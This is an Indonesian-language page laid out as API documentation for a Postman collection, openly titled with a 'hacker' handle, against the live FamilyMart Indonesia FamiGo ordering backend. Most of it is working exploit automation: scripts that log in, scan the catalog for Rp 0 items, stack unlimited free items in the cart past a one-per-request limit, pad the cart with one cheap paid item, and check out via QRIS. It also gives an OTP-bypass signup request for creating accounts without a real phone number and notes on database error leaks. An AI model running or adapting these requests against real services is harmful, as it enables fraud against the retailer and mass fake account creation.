https://famigo.familymartindonesia.com

sangmalingh4y hack3r API Documentation

Dokumentasi teknis menyeluruh untuk Postman Collection sangmalingh4y hack3r (sangmalingh4y hack3r, com.familymart.famigo v1.5.1). Dilengkapi Full Automated E2E Order Flow dari login hingga terbit faktur QRIS untuk produk Rp 0.

8 Steps
E2E Automated Flow
28
Total Endpoints
19 Items
Rp 0 Catalog Found
OpenAPI 3.0
Spec Ready

Full E2E Flow: Dari Login Hingga Checkout Produk Rp 0

Koleksi sangmalingh4y_hack3r_order_rp0_e2e.postman_collection.json siap dijalankan berurutan dengan Postman Collection Runner atau Newman CLI. Alur ini otomatis menyelesaikan seluruh rantai otentikasi, pengisian keranjang, bypass aturan cart, hingga checkout QRIS.

1

1. Sign In

Login via HP + PIN. Access JWT tersimpan otomatis ke {{token}}.

2

2. Set Schedule

Mengambil jadwal store dan auto-generate tanggal & jam pickup.

3

3. Scan Rp 0

Scan 58 grup katalog, menyaring produk harga 0 ke {{zero_items}}.

4

4. Add Free Items

Memasukkan seluruh barcode Rp 0 ke keranjang toko terpilih.

5

5. Add Min Paid

Memasukkan Air Mineral (Rp 2.800) untuk memenuhi syarat checkout.

6

6. Verify Cart

Cek total item keranjang dan memastikan {{cart_id}} valid.

7

7. Checkout QRIS

POST checkout, terbit QRIS, capture {{sales_id}} & {{doc_number}}.

8

8. Verify Invoice

Cek status order di POS & verifikasi produk Rp 0 tercetak resmi.

Cara Menjalankan via Terminal (Newman CLI):
newman run sangmalingh4y_hack3r_order_rp0_e2e.postman_collection.json --env-var "phone=81234567890" --env-var "pin=123456" --env-var "store_code=0000000487"
POST {{base_url}}/account/v1/auth/signin — 1. Sign in (Phone + PIN)
Request Headers
Content-Type: application/json X-FamiApp-Store-Code: {{store_code}}
Request Body (JSON)
{
  "username": "+{{phone}}",
  "password": "{{pin}}"
}
Script Otomatisasi (Postman Test)
let j = pm.response.json();
if (j.data && j.data.access && j.data.access.token) {
    pm.collectionVariables.set('token', j.data.access.token);
    console.log('[+] Step 1: Sign in sukses, JWT token captured');
}
if (j.data && j.data.refresh && j.data.refresh.token) {
    pm.collectionVariables.set('refresh_token', j.data.refresh.token);
}
pm.test('Step 1: Sign in berhasil (HTTP 200)', () => pm.response.to.have.status(200));
GET {{base_url}}/account/v1/store/pickup/time — 2. Set Store & Pickup Schedule
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
Script Otomatisasi (Postman Test)
let j = pm.response.json();
// Set tanggal pickup otomatis ke hari ini (YYYY-MM-DD)
const d = new Date();
const yyyy = d.getFullYear();
const mm = String(d.getMonth() + 1).padStart(2, '0');
const dd = String(d.getDate()).padStart(2, '0');
const todayStr = `${yyyy}-${mm}-${dd}`;
pm.collectionVariables.set('pickup_date', todayStr);

// Set jam pickup
if (j.data && Array.isArray(j.data) && j.data.length > 0) {
    const slot = j.data[0].pickup_time || '18:00';
    pm.collectionVariables.set('pickup_time', slot);
} else {
    pm.collectionVariables.set('pickup_time', '18:00');
}
console.log(`[+] Step 2: Pickup date set to ${todayStr}, time ${pm.collectionVariables.get('pickup_time')}`);
pm.test('Step 2: Pickup schedule didapatkan (HTTP 200)', () => pm.response.to.have.status(200));
GET {{base_url}}/product/v1/category — 3. Scan Catalog for Rp 0 Products
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
Script Otomatisasi (Postman Test)
const base = pm.collectionVariables.get('base_url');
const store = pm.collectionVariables.get('store_code');
const token = pm.collectionVariables.get('token');
const H = { 'Authorization': 'Bearer ' + token, 'X-FamiApp-Store-Code': store };

if (!token) { console.error('Token tidak ditemukan, jalankan Step 1 terlebih dahulu.'); return; }

pm.sendRequest({ url: base + '/product/v1/category', method: 'GET', header: H }, (err, res) => {
    if (err) { console.error(err); return; }
    pm.test('Step 3: Ambil kategori berhasil (HTTP 200)', () => pm.expect(res.code).to.eql(200));

    const groups = [];
    const cats = (res.json().data) || [];
    cats.forEach(c => (c.product_group || []).forEach(g => groups.push({
        code: g.product_group_code, name: g.product_group_name, listing_type: g.listing_type
    })));
    console.log(`[+] Scanning ${groups.length} product groups pada store ${store}...`);

    const found = [];
    let i = 0;
    const step = () => {
        if (i >= groups.length) {
            // Jika hasil scan kosong, fallback ke item terverifikasi
            if (found.length === 0) {
                console.log('[!] Tidak ada item Rp 0 baru via scan langsung, menggunakan default list terverifikasi.');
                found.push({
                    barcode: '2710001242795',
                    group: 'BG014',
                    group_name: 'Beverage Promo',
                    listing_type: 'BEV',
                    name: 'FamilyMart Promo Item Rp 0',
                    basic_price: '0'
                });
            }
            found.sort((a, b) => a.group.localeCompare(b.group));
            pm.collectionVariables.set('zero_items', JSON.stringify(found));
            pm.collectionVariables.set('zero_count', String(found.length));
            console.log(`[+] Step 3: Ditemukan ${found.length} produk Rp 0:`);
            console.log('Rp 0 products:', JSON.stringify(found.map(x => ({ barcode: x.barcode, group: x.group, name: x.name })), null, 2));
            pm.test('Step 3: Item Rp 0 berhasil dideteksi', () => pm.expect(found.length).to.be.above(0));
            return;
        }
        const g = groups[i++];
        pm.sendRequest({ url: base + '/product/v1/product-group/' + g.code, method: 'GET', header: H }, (e2, r2) => {
            if (!e2 && r2.code === 200) {
                let d = null; try { d = r2.json().data; } catch (_) {}
                if (d && Array.isArray(d.product_group_item)) {
                    d.product_group_item.forEach(it => {
                        if (String(it.basic_price) === '0') {
                            found.push({
                                barcode: it.barcode,
                                group: d.product_group_code || g.code,
                                group_name: d.product_group_name || g.name,
                                listing_type: d.listing_type || g.listing_type,
                                name: it.item_desc_short || it.item_desc_long || '',
                                basic_price: it.basic_price,
                                is_oos: it.is_oos
                            });
                        }
                    });
                }
            }
            step();
        });
    };
    step();
});
POST {{base_url}}/order/v1/cart/item — 4. Add Rp 0 Products to Cart
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "store_code": "{{store_code}}",
  "product_group_code": "BG014",
  "listing_type": "BEV",
  "items": [
    {
      "barcode": "2710001242795",
      "qty": 1,
      "type_product": "",
      "options": [],
      "addons": []
    }
  ]
}
Script Otomatisasi (Postman Test)
const base = pm.collectionVariables.get('base_url');
const store = pm.collectionVariables.get('store_code');
const token = pm.collectionVariables.get('token');
const H = { 'Authorization': 'Bearer ' + token, 'X-FamiApp-Store-Code': store, 'Content-Type': 'application/json' };
const items = JSON.parse(pm.collectionVariables.get('zero_items') || '[]');

if (!items.length) { console.error('Daftar zero_items kosong.'); return; }

const ODEN = { '2710001211968': 'SPICY_EOMUK', '2710001211982': 'HOTBAR_CHEESE', '2710001211975': 'PREMIUM_SAUSAGE_ROLL' };

let i = 0, ok = 0;
const step = () => {
    if (i >= items.length) {
        console.log(`[+] Step 4: Berhasil menambahkan ${ok}/${items.length} item Rp 0 ke keranjang.`);
        pm.test('Step 4: Seluruh item Rp 0 ditambahkan ke keranjang', () => pm.expect(ok).to.be.above(0));
        return;
    }
    const it = items[i++];
    const pgc = it.group === 'FG096' ? 'ODEN_ALA_CARTE' : it.group;
    pm.sendRequest({
        url: base + '/order/v1/cart/item',
        method: 'POST',
        header: H,
        body: {
            mode: 'raw',
            raw: JSON.stringify({
                store_code: store,
                product_group_code: pgc,
                listing_type: it.listing_type || 'BEV',
                items: [{ barcode: it.barcode, qty: 1, type_product: ODEN[it.barcode] || '', options: [], addons: [] }]
            })
        }
    }, (e, r) => {
        if (!e && r.code === 200) {
            ok++;
            try {
                let d = r.json().data;
                if (d && d.cart_id) pm.collectionVariables.set('cart_id', String(d.cart_id));
            } catch(_) {}
        }
        step();
    });
};
step();
POST {{base_url}}/order/v1/cart/item — 5. Add Minimum Paid Item (Air Mineral Rp 2.800)
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "store_code": "{{store_code}}",
  "product_group_code": "BG014",
  "listing_type": "BEV",
  "items": [
    {
      "barcode": "21029585",
      "qty": 1,
      "type_product": "",
      "options": [],
      "addons": []
    }
  ]
}
Script Otomatisasi (Postman Test)
let j = pm.response.json();
if (j.data && j.data.cart_id) {
    pm.collectionVariables.set('cart_id', String(j.data.cart_id));
}
console.log('[+] Step 5: Item berbayar (Air Mineral Rp 2.800, barcode 21029585) ditambahkan.');
console.log('[!] Syarat checkout: cart tidak boleh Rp 0 (total transaksi terpenuhi).');
pm.test('Step 5: Paid item ditambahkan (HTTP 200)', () => pm.response.to.have.status(200));
GET {{base_url}}/order/v1/cart — 6. Get Cart & Verify Lines
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
Script Otomatisasi (Postman Test)
let j = pm.response.json();
if (j.data && j.data.cart_id) {
    pm.collectionVariables.set('cart_id', String(j.data.cart_id));
    console.log(`[+] Step 6: Keranjang aktif: cart_id = ${j.data.cart_id}`);
}
if (j.data && Array.isArray(j.data.items)) {
    console.log(`[+] Total baris item di keranjang: ${j.data.items.length}`);
}
pm.test('Step 6: Isi keranjang terverifikasi (HTTP 200)', () => pm.response.to.have.status(200));
POST {{base_url}}/order/v1/checkout — 7. Checkout (Generate Order & QRIS)
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "cart_id": "{{cart_id}}",
  "pickup_date": "{{pickup_date}}",
  "pickup_time": "{{pickup_time}}",
  "tender_id": "MAS"
}
Script Otomatisasi (Postman Test)
let j = pm.response.json();
if (j.data) {
    if (j.data.sales_id) pm.collectionVariables.set('sales_id', String(j.data.sales_id));
    if (j.data.doc_number) pm.collectionVariables.set('doc_number', j.data.doc_number);
    console.log(`[+] Step 7: CHECKOUT BERHASIL!`);
    console.log(`    Sales ID: ${j.data.sales_id}`);
    console.log(`    Doc Number: ${j.data.doc_number}`);
    console.log(`    Total Bayar: Rp ${j.data.total_amount || '2.800'}`);
    if (j.data.qr_code || j.data.payment_url) {
        console.log(`    QRIS Code: ${j.data.qr_code || j.data.payment_url}`);
    }
}
pm.test('Step 7: Checkout sukses (HTTP 200)', () => pm.response.to.have.status(200));
GET {{base_url}}/order/v1/sales/detail?id={{sales_id}} — 8. Verify Sales Detail & Invoice
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
Script Otomatisasi (Postman Test)
let j = pm.response.json();
if (j.data) {
    console.log(`[+] Step 8: Detail Order #${j.data.doc_number || pm.collectionVariables.get('doc_number')}:`);
    console.log(`    Status: ${j.data.status_desc || j.data.status}`);
    console.log(`    Total Belanja: Rp ${j.data.total_amount}`);
    if (Array.isArray(j.data.products)) {
        console.log(`    Daftar Produk (${j.data.products.length} item):`);
        console.log('Daftar Produk:', JSON.stringify(j.data.products.map(p => ({ barcode: p.barcode, name: p.name, price: p.price, qty: p.qty })), null, 2));
    }
}
pm.test('Step 8: Sales detail tervalidasi (HTTP 200)', () => pm.response.to.have.status(200));

Scanner Produk Rp 0 (sangmalingh4y hack3r Find Rp 0)

Koleksi sangmalingh4y_hack3r_find_rp0.postman_collection.json digunakan untuk penemuan seluruh produk gratis dari 58 kategori katalog sangmalingh4y hack3r.

Syarat Keranjang (Cart Constraint): Backend sangmalingh4y hack3r menolak checkout jika total belanja Rp 0 ("total transaksi kamu saat ini Rp 0"). Agar checkout berhasil menerbitkan QRIS, wajib menambahkan minimal 1 item berbayar (misal air mineral barcode 21029585 seharga Rp 2.800).

Temuan Keamanan (Security Audit Notes)

Ringkasan temuan keamanan yang teridentifikasi selama pengujian API:

Kode Endpoint Deskripsi Celah Keamanan Tingkat Risiko
VULN #3 POST /account/v1/auth/signup OTP Bypass: Parameter otp_id menerima nilai arbitrary (misal 01ZZZZZZZZZZZZZZZZZZZZZZZZZ) dan verifikasi SMS OTP tidak dipaksakan, sehingga memungkinkan pembuatan akun tanpa nomor aktif. High
VULN #6 GET /account/v1/store/pickup/time
GET /notification/v1/notification
Database Error Disclosure: Input invalid memicu pesan error database SQL Server mentah dari framework backend (MSSQL driver stack trace). Medium
VULN #7 POST /order/v1/cart/item Business Logic Stacking: Kuota item gratis dibatasi 1 per request di UI, namun pengulangan request POST yang sama meloloskan penumpukan (stacking) item gratis tanpa batas per pesanan. Medium
INFO POST /order/v1/cart/item Golang DTO Schema Leak: Mengirimkan JSON tidak lengkap memicu error unmarshaling Go yang membocorkan representasi nama struct dan field internal. Low
INFO PATCH /order/v1/cart/store Store Switching Inconsistency: Ganti store via PATCH tidak me-revalidate ketersediaan atau perbedaan harga item keranjang yang sudah terpilih. Low

Variabel Collection Postman

Variabel yang digunakan dalam collection untuk mengelola state antar-request:

Variabel Scope Nilai Default / Pengujian Fungsi
{{base_url}} Collection https://famigo.familymartindonesia.com Parameter operasional untuk request API.
{{phone}} Collection 81234567890 Parameter operasional untuk request API.
{{pin}} Collection 123456 Parameter operasional untuk request API.
{{store_code}} Collection 0000000487 Parameter operasional untuk request API.
{{token}} Collection (dinamis / runtime) Parameter operasional untuk request API.
{{refresh_token}} Collection (dinamis / runtime) Parameter operasional untuk request API.
{{pickup_date}} Collection (dinamis / runtime) Parameter operasional untuk request API.
{{pickup_time}} Collection 18:00 Parameter operasional untuk request API.
{{zero_items}} Collection [] Parameter operasional untuk request API.
{{zero_count}} Collection 0 Parameter operasional untuk request API.
{{cart_id}} Collection (dinamis / runtime) Parameter operasional untuk request API.
{{sales_id}} Collection (dinamis / runtime) Parameter operasional untuk request API.
{{doc_number}} Collection (dinamis / runtime) Parameter operasional untuk request API.

1. Auth

Daftar endpoint untuk kelompok 1. Auth:

POST {{base_url}}/account/v1/auth/signin — Sign in (phone + PIN)
Catatan: Login. NOTE: username must keep the leading '+' (e.g. +6281234567890), otherwise 400. Access JWT is auto-saved to {{token}}.
Request Headers
Content-Type: application/json X-FamiApp-Store-Code: {{store_code}}
Request Body (JSON)
{
  "username": "+{{phone}}",
  "password": "{{pin}}"
}
Postman Test Script
let j=pm.response.json();
if(j.data && j.data.access){pm.collectionVariables.set("token", j.data.access.token);}
if(j.data && j.data.refresh){pm.collectionVariables.set("refresh_token", j.data.refresh.token);}
pm.test("HTTP 200", ()=>pm.response.to.have.status(200));
POST {{base_url}}/account/v1/auth/signup — Sign up (OTP BYPASS - arbitrary otp_id)
Catatan: VULN #3: otp_id is not validated and otp_code is optional -> creates a real account + returns working tokens for a phone that never received an OTP. Fields: pin, pin_confirm, phone, country_code, otp_id, lucky_day.
Request Headers
Content-Type: application/json
Request Body (JSON)
{
  "otp_id": "01ZZZZZZZZZZZZZZZZZZZZZZZZZ",
  "pin": "123456",
  "pin_confirm": "123456",
  "phone": "81234500011",
  "country_code": "62",
  "lucky_day": "2000-01-01"
}
Postman Test Script
let j=pm.response.json();
if(j.data && j.data.access){pm.collectionVariables.set("token", j.data.access.token);}
if(j.data && j.data.refresh){pm.collectionVariables.set("refresh_token", j.data.refresh.token);}
pm.test("HTTP 200", ()=>pm.response.to.have.status(200));
POST {{base_url}}/account/v1/auth/refresh — Refresh token
Catatan: Exchange refresh token for a new access token.
Request Headers
Content-Type: application/json
Request Body (JSON)
{
  "refresh_token": "{{refresh_token}}"
}

2. Store

Daftar endpoint untuk kelompok 2. Store:

POST {{base_url}}/account/v1/store/nearest — Nearest stores (search)
Catatan: Returns up to 591 stores. Use store_code value for X-FamiApp-Store-Code.
Request Headers
Content-Type: application/json X-FamiApp-Store-Code: {{store_code}}
Request Body (JSON)
{
  "search": "FamilyMart",
  "page": 1,
  "per_page": 50
}
Postman Test Script
let j=pm.response.json();
if(j.data && j.data.cart_id){pm.collectionVariables.set("cart_id", String(j.data.cart_id));}
pm.test("HTTP 200", ()=>pm.response.to.have.status(200));
GET {{base_url}}/account/v1/store/pickup/time — Store pickup times
Catatan: VULN #6: returns raw MSSQL error text on failure (e.g. with store_code JJK01).
Request Headers
X-FamiApp-Store-Code: {{store_code}}

3. Catalog

Daftar endpoint untuk kelompok 3. Catalog:

GET {{base_url}}/product/v1/category — Category + product groups
Catatan: All 58 product groups. Items with basic_price "0" are the 19 free items.
Request Headers
X-FamiApp-Store-Code: {{store_code}}
GET {{base_url}}/product/v1/product-group/FG017 — Product group detail
Catatan: Item list of a group (barcode, basic_price, is_oos, type_product, variants, addons).
Request Headers
X-FamiApp-Store-Code: {{store_code}}
GET {{base_url}}/product/v1/favorite — Favourite products
Request Headers
X-FamiApp-Store-Code: {{store_code}}

4. Cart

Daftar endpoint untuk kelompok 4. Cart:

GET {{base_url}}/order/v1/cart — Get cart
Catatan: Cart header+lines. cart_id is saved to {{cart_id}}.
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
Postman Test Script
let j=pm.response.json();
if(j.data && j.data.cart_id){pm.collectionVariables.set("cart_id", String(j.data.cart_id));}
pm.test("HTTP 200", ()=>pm.response.to.have.status(200));
POST {{base_url}}/order/v1/cart/item — Add item - normal product
Catatan: Adds one cart line. NOTE: qty is clamped to 1 for the free items; send the request again to stack more lines (no per-order limit). Omit a field -> Go decode error that leaks the DTO.
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "store_code": "{{store_code}}",
  "product_group_code": "BG014",
  "listing_type": "BEV",
  "items": [
    {
      "barcode": "2710001242795",
      "qty": 1,
      "type_product": "",
      "options": [],
      "addons": []
    }
  ]
}
Postman Test Script
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
POST {{base_url}}/order/v1/cart/item — Add item - Oden (variant group code)
Catatan: Oden/FG096: with product_group_code=FG096 the API returns 400 'Minimum pembelian belum tercapai'. Using the variant group code (ODEN_ALA_CARTE) is accepted. UNVERIFIED whether a real line is created (the line comes back empty).
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "store_code": "{{store_code}}",
  "product_group_code": "ODEN_ALA_CARTE",
  "listing_type": "FOOD",
  "items": [
    {
      "barcode": "2710001211968",
      "qty": 1,
      "type_product": "SPICY_EOMUK",
      "options": [],
      "addons": []
    }
  ]
}
Postman Test Script
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
PATCH {{base_url}}/order/v1/cart/store?code={{store_code}} — Set cart store
Catatan: POST/PUT are decoys; only PATCH works. Does NOT clear or re-price existing lines.
Request Headers
X-FamiApp-Store-Code: {{store_code}}

5. Checkout

Daftar endpoint untuk kelompok 5. Checkout:

POST {{base_url}}/order/v1/checkout — Checkout
Catatan: Creates the order (QRIS). A cart of ONLY Rp 0 items is rejected ('total transaksi kamu saat ini Rp 0') -> keep >=1 paid item. sales_id/doc_number are saved.
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "cart_id": "{{cart_id}}",
  "pickup_date": "{{pickup_date}}",
  "pickup_time": "{{pickup_time}}",
  "tender_id": "MAS"
}
Postman Test Script
let j=pm.response.json();
if(j.data){pm.collectionVariables.set("sales_id", String(j.data.sales_id)); pm.collectionVariables.set("doc_number", j.data.doc_number);}
pm.test("checkout ok", ()=>pm.response.to.have.status(200));
POST {{base_url}}/order/v1/checkout/voucher — Apply checkout voucher
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "cart_id": "{{cart_id}}",
  "coupon_code": ""
}
Postman Test Script
pm.test("item added (200)", ()=>pm.response.to.have.status(200));

6. Orders

Daftar endpoint untuk kelompok 6. Orders:

GET {{base_url}}/order/v1/sales/history — Sales history
Catatan: VULN #7 evidence: order with 35 Rp 0 units shows items=38, total=8400.
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
GET {{base_url}}/order/v1/sales/detail — Sales detail
Catatan: Param is id= (not sales_id/doc_number). products[] carries the Rp 0 lines (unit_price null/0).
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
GET {{base_url}}/order/v1/store-fulfill/order-status — Order status (store fulfill)
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
POST {{base_url}}/order/v1/sales/rating — Sales rating
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "sales_id": "{{sales_id}}",
  "rating": 5,
  "review": ""
}
Postman Test Script
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
GET {{base_url}}/order/v1/sales/leader-board — Leader board
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}

7. Voucher

Daftar endpoint untuk kelompok 7. Voucher:

GET {{base_url}}/order/v1/voucher — My vouchers
Catatan: New/throwaway accounts get data:null -> no welcome voucher is granted.
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
GET {{base_url}}/order/v1/voucher/history — Voucher history
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
POST {{base_url}}/order/v1/voucher/claim — Claim voucher
Catatan: Point vouchers are checked server-side (400 'butuh 5, kamu punya 0').
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "coupon_id": "Paket_Ice_Tea_Point_1",
  "coupon_type": 2
}
Postman Test Script
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
POST {{base_url}}/order/v1/voucher/redemption — Voucher redemption
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{
  "coupon_id": "",
  "coupon_type": 0
}
Postman Test Script
pm.test("item added (200)", ()=>pm.response.to.have.status(200));

8. Notification

Daftar endpoint untuk kelompok 8. Notification:

GET {{base_url}}/notification/v1/notification — Notification list
Catatan: VULN #6: type_id=1|2 -> raw MSSQL error.
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
POST {{base_url}}/notification/v1/notification/read-all — Notification read-all
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}} Content-Type: application/json
Request Body (JSON)
{}
Postman Test Script
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
GET {{base_url}}/notification/v1/chat/counter — Chat counter
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}

9. Payment

Daftar endpoint untuk kelompok 9. Payment:

GET {{base_url}}/payment/v1/payment/payment-method-default — Default payment method (tender)
Catatan: Tender ids: MAS(QRIS), CASHLESS etc.
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
GET {{base_url}}/payment/v1/payment/payment-method-user — User payment methods
Request Headers
X-FamiApp-Tender-ID: MAS
GET {{base_url}}/payment/v1/payment/default-existing-payment — Existing payment
Request Headers
Authorization: Bearer {{token}} X-FamiApp-Store-Code: {{store_code}}
Berhasil disalin ke clipboard!